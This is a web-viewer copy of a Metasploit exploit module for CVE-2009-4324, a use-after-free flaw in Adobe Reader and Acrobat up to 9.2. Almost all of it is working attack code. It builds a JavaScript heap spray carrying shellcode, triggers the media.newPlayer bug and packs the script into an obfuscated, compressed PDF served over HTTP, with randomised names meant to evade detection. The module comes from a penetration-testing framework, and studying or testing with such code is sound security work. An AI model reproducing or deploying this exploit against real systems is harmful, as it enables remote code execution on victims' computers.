Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/browser/adobe_media_newplayer.rb
19534 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'zlib'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = GoodRanking
10
11
include Msf::Exploit::Remote::HttpServer::HTML
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Adobe Doc.media.newPlayer Use After Free Vulnerability',
18
'Description' => %q{
19
This module exploits a use after free vulnerability in Adobe Reader and Adobe Acrobat
20
Professional versions up to and including 9.2.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [
24
'unknown', # Found in the wild
25
# Metasploit version by:
26
'hdm',
27
'pusscat',
28
'jduck',
29
'jabra'
30
],
31
'References' => [
32
[ 'CVE', '2009-4324' ],
33
[ 'BID', '37331' ],
34
[ 'OSVDB', '60980' ],
35
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-02.html' ]
36
],
37
'DefaultOptions' => {
38
'EXITFUNC' => 'process',
39
},
40
'Payload' => {
41
'Space' => 1024,
42
'BadChars' => "\x00",
43
'DisableNops' => true
44
},
45
'Platform' => 'win',
46
'Targets' => [
47
# test results (on Windows XP SP3)
48
# reader 6.0.1 - vulnerable / doesn't work
49
# reader 7.0.5 - untested
50
# reader 7.0.8 - untested
51
# reader 7.0.9 - vulnerable / doesn't work
52
# reader 7.1.0 - untested
53
# reader 7.1.1 - untested
54
# reader 8.0.0 - untested
55
# reader 8.1.1 - works
56
# reader 8.1.2 - untested
57
# reader 8.1.3 - untested
58
# reader 8.1.4 - untested
59
# reader 8.1.5 - untested
60
# reader 8.1.6 - untested
61
# reader 9.0.0 - untested
62
# reader 9.1.0 - works
63
# reader 9.2 - works (no debugger, no DEP)
64
[
65
'Adobe Reader Windows English (JS Heap Spray)',
66
{
67
'Size' => (0x10000 / 2),
68
'Ret' => 0x0c0c0c0c
69
}
70
],
71
[
72
'Adobe Reader Windows German (JS Heap Spray)',
73
{
74
'Size' => (0x10000 / 2),
75
'Ret' => 0x0a0a0a0a
76
}
77
],
78
],
79
'DisclosureDate' => '2009-12-14',
80
'DefaultTarget' => 0,
81
'Notes' => {
82
'Reliability' => UNKNOWN_RELIABILITY,
83
'Stability' => UNKNOWN_STABILITY,
84
'SideEffects' => UNKNOWN_SIDE_EFFECTS
85
}
86
)
87
)
88
end
89
90
def autofilter
91
false
92
end
93
94
def check_dependencies
95
use_zlib
96
end
97
98
def on_request_uri(cli, request)
99
# Encode the shellcode.
100
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
101
102
# Make some nops
103
nops = Rex::Text.to_unescape([target.ret].pack('V'))
104
105
# Randomize variables
106
#
107
len = 72
108
rand1 = rand_text_alpha(rand(100) + 1)
109
rand2 = rand_text_alpha(rand(100) + 1)
110
rand3 = rand_text_alpha(rand(100) + 1)
111
rand4 = rand_text_alpha(len / 2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')
112
rand5 = rand_text_alpha(len / 2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')
113
randnop = rand_text_alpha(rand(100) + 1)
114
115
vtbuf = [target.ret].pack('V') * 4
116
vtbuf << rand_text_alpha(len - vtbuf.length)
117
vtbuf.gsub!(/([dhHjmMsty])/m, '\\\\' + '\1')
118
retstring = Rex::Text.to_unescape(vtbuf)
119
120
# The printd strings are 72 bytes (??)
121
script = %Q|
122
var #{randnop} = "#{nops}";
123
var #{rand1} = unescape("#{shellcode}");
124
var #{rand2} = unescape(#{randnop});
125
var #{rand3} = unescape("#{retstring}");
126
while(#{rand2}.length <= #{target['Size']}) #{rand2}+=#{rand2};
127
#{rand2}=#{rand2}.substring(0,#{target['Size']} - #{rand1}.length);
128
memory=new Array();
129
for(i=0;i<0x2000;i++) { memory[i]= #{rand2} + #{rand1}; }
130
util.printd("#{rand4}", new Date());
131
util.printd("#{rand5}", new Date());
132
try {this.media.newPlayer(null);} catch(e) {}
133
util.printd(#{rand3}, new Date());
134
|
135
# Create the pdf
136
pdf = make_pdf(script)
137
138
print_status("Sending #{self.name}")
139
140
send_response(cli, pdf, { 'Content-Type' => 'application/pdf' })
141
142
handler(cli)
143
end
144
145
def random_non_ascii_string(count)
146
result = ""
147
count.times do
148
result << (rand(128) + 128).chr
149
end
150
result
151
end
152
153
def io_def(id)
154
"%d 0 obj" % id
155
end
156
157
def io_ref(id)
158
"%d 0 R" % id
159
end
160
161
# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
162
def n_obfu(str)
163
result = ""
164
str.scan(/./u) do |c|
165
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
166
result << "#%x" % c.unpack("C*")[0]
167
else
168
result << c
169
end
170
end
171
result
172
end
173
174
def ascii_hex_whitespace_encode(str)
175
result = ""
176
whitespace = ""
177
str.each_byte do |b|
178
result << whitespace << "%02x" % b
179
whitespace = " " * (rand(3) + 1)
180
end
181
result << ">"
182
end
183
184
def make_pdf(js)
185
xref = []
186
eol = "\x0d\x0a"
187
endobj = "endobj" << eol
188
189
pdf = "%PDF-1.5" << eol
190
pdf << "%" << random_non_ascii_string(4) << eol
191
xref << pdf.length
192
pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj
193
xref << pdf.length
194
pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj
195
xref << pdf.length
196
pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj
197
xref << pdf.length
198
pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj
199
xref << pdf.length
200
pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj
201
xref << pdf.length
202
compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
203
pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
204
pdf << "stream" << eol
205
pdf << compressed << eol
206
pdf << "endstream" << eol
207
pdf << endobj
208
xrefPosition = pdf.length
209
pdf << "xref" << eol
210
pdf << "0 %d" % (xref.length + 1) << eol
211
pdf << "0000000000 65535 f" << eol
212
xref.each do |index|
213
pdf << "%010d 00000 n" % index << eol
214
end
215
pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
216
pdf << "startxref" << eol
217
pdf << xrefPosition.to_s() << eol
218
pdf << "%%EOF" << eol
219
end
220
end
221
222